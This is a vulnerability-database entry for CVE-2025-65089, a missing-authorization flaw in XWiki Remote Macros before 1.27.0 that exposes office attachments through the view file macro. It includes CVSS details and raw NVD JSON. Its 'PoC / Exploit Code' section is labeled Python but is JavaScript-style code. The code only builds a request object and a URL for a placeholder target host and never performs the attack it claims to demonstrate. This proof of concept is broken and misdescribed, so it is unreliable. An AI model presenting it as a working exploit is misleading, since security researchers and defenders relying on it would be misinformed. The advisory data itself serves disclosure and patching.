Security Vulnerability Report
中文
CVE-2025-65089 CVSS 6.8 MEDIUM

CVE-2025-65089

Published: 2025-11-19 18:15:51
Last Modified: 2026-01-15 17:54:45

Description

XWiki Remote Macros provides XWiki rendering macros that are useful when migrating content from Confluence. Prior to version 1.27.0, a user with no view rights on a page may see the content of an office attachment displayed with the view file macro. This issue has been patched in version 1.27.0.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:xwiki:pro_macros:*:*:*:*:*:*:*:* - VULNERABLE
XWiki Remote Macros < 1.27.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-65089 PoC - XWiki Remote Macros Information Disclosure // This PoC demonstrates how to access restricted Office attachments // through the View File Macro without proper view permissions // Step 1: Identify target Office attachment const targetAttachment = { pageName: 'RestrictedPage', attachmentName: 'confidential_report.docx', attachmentSpace: 'SecretDocuments' }; // Step 2: Construct View File Macro request // The macro can be invoked via XWiki's rendering engine const macroRequest = { macroName: 'viewfile', parameters: { 'page': targetAttachment.pageName, 'space': targetAttachment.attachmentSpace, 'filename': targetAttachment.attachmentName, 'type': 'office' } }; // Step 3: Send request to XWiki instance // Note: Requires low-privilege user account const xwikiBaseUrl = 'https://target-xwiki-instance.com'; const macroUrl = `${xwikiBaseUrl}/xwiki/bin/view/${targetAttachment.attachmentSpace}/${targetAttachment.pageName}`; // The vulnerability allows viewing attachment content without page view rights // PoC demonstrates unauthorized information disclosure // Mitigation: Upgrade to XWiki Remote Macros >= 1.27.0

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65089", "sourceIdentifier": "[email protected]", "published": "2025-11-19T18:15:51.487", "lastModified": "2026-01-15T17:54:44.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "XWiki Remote Macros provides XWiki rendering macros that are useful when migrating content from Confluence. Prior to version 1.27.0, a user with no view rights on a page may see the content of an office attachment displayed with the view file macro. This issue has been patched in version 1.27.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xwiki:pro_macros:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.27.0", "matchCriteriaId": "34ABD067-D0A5-4E0B-A3EF-1E3E17B8BAB0"}]}]}], "references": [{"url": "https://github.com/xwikisas/xwiki-pro-macros/security/advisories/GHSA-8c52-x9w7-vc95", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/xwikisas/xwiki-pro-macros/security/advisories/GHSA-8c52-x9w7-vc95", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}